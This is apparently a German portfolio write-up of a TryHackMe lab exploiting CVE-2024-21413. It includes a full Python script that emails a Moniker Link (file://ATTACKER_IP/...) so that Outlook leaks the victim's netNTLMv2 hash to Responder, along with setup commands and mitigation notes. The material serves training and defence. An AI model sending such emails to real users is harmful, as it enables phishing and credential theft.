E-Mail-Exploit Moniker Link-CVE-2024-21413-Module — Dokumentation

Übersicht: Ein praktischer PoC, der die Verwendung eines Moniker Links in einer HTML-E-Mail demonstriert, um eine SMB-Verbindung von Outlook auszulösen, sodass der netNTLMv2-Hash eines Opfers über Responder erfasst werden kann. Dies zeigt praktische Fähigkeiten in Penetrationstests, Skripterstellung und Netzwerkprotokollanalyse.

Demonstrierte Schlüsselfertigkeiten

• Python-Skripterstellung für automatisierte E-Mail-Zustellung
• Verständnis von SMB-, NTLMv2-, LLMNR-, NBT-NS- und MDNS-Protokollen
• Responder-Konfiguration und -Überwachung zur Hash-Erfassung
• Fehlerbehebung bei Linux-Netzwerk-/DNS-Konfigurationsproblemen
• Erstellung eines kontrollierten offensiven Sicherheitsszenarios in einer Laborumgebung

PoC-Arbeitsablauf

1. SMB-Listener einrichten: Responder auf der Angriffsmaschine starten, um SMB-Authentifizierungsversuche zu überwachen.
2. Maßgeschneiderte E-Mail senden: Ein Python-Skript verwenden, um eine HTML-E-Mail mit einem Moniker-Link (file://) zu liefern, der auf die SMB-Freigabe des Angreifers verweist.
3. Hash-Erfassung: Wenn das Opfer auf den Link klickt, versucht Outlook, die Datei über SMB abzurufen, und Responder erfasst den netNTLMv2-Hash.

Minimales Exploit-Skript

# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124'  # THM SMTP server
password = input('Enter attacker email password: ')

html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'

msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))

with smtplib.SMTP(mailserver, 25) as s:
    s.ehlo()
    s.login(sender, password)
    s.sendmail(sender, [receiver], msg.as_string())
    print('Email delivered')

Tipp: Ersetzen Sie ATTACKER_IP und mailserver vor der Ausführung. Im TryHackMe-Labor lautet das Passwort attacker.

Responder ausführen

responder -I ens5

Ersetzen Sie ens5 durch Ihren Netzwerkschnittstellennamen.

Fehlerbehebung bei /etc/resolv.conf

Manchmal schlägt Responder aufgrund defekter Symlinks in /etc/resolv.conf fehl. Behebung mit:

rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf

Hervorgehobene Fähigkeiten: Linux-Fehlerbehebung, DNS-Konfiguration und Anpassung von Tools an Cloud-/VM-Umgebungen.

Fortschritt-Screenshots

1. Fehler / Resolv.conf-Problem:`

2. DNS-Fix angewendet:

3. Python-E-Mail-Skript:

4. Exploit-Zustellung:

5. Opfer-Posteingang:

6. Erfasster Opfer-Hash:

Verwendete Tools & Befehle

• Responder: SMB-/LLMNR-/NBT-NS-/MDNS-Listener
• Python3: Ausführung des PoC-E-Mail-Skripts
• smtplib / email.mime: Python-Bibliotheken zum Erstellen und Senden von E-Mails
• Linux-Shell-Befehle zur DNS-Fehlerbehebung

Erlernte Fähigkeiten / Portfolio-Highlight

• Netzwerkangriffssimulation und Exploitation-Workflow
• Automatisierung des Social-Engineering-Vektors (Moniker-Link-E-Mail)
• Erfassung und Analyse von netNTLMv2-Hashes
• Fächerübergreifende Fehlerbehebung: Python, Netzwerk, Windows- und Linux-Interaktion
• Dokumentation und Arbeitsablauf-Präsentation für technische Prüfer

Minderungs- & Abwehrhinweise

• Automatische externe Inhalte in Outlook deaktivieren
• Ausgehendes SMB zu nicht vertrauenswürdigen Netzwerken blockieren
• SMB-Signierung und moderne Authentifizierungsrichtlinien auf Windows-Clients erzwingen

Quellenangabe

Adaptiert vom TryHackMe MonikerLink-Labor und originalem PoC von CMNatic (GitHub)